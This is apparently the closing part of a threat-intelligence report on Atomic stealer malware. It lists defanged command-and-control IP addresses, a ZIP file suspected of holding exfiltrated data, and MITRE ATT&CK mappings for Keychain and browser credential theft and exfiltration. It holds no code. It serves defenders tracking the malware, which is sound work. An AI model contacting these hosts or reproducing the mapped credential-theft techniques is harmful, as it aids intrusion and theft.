  • 45.94.47[.]144 – IP – Atomic C2 Endpoint
  • 45.94.47[.]158 – IP – Atomic C2 Endpoint
  • 45.94.47[.]211 – IP – Atomic C2 Endpoint
  • out.zip - File Output – Possible ZIP file for Data Exfiltration

MITRE ATT&CK Mapping:

Tactic –Technique – Sub-Technique

Execution - T1204.002 - User Execution: Malicious File

Credential Access - T1555.001 - Credentials from Password Stores: Keychain

Credential Access - T1555.003 - Credentials from Web Browsers

Command & Control - T1071 - Application Layer Protocol

Exfiltration - T1041 - Exfiltration Over C2 Channel

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About the author
Isabel Evans
Cyber Analyst
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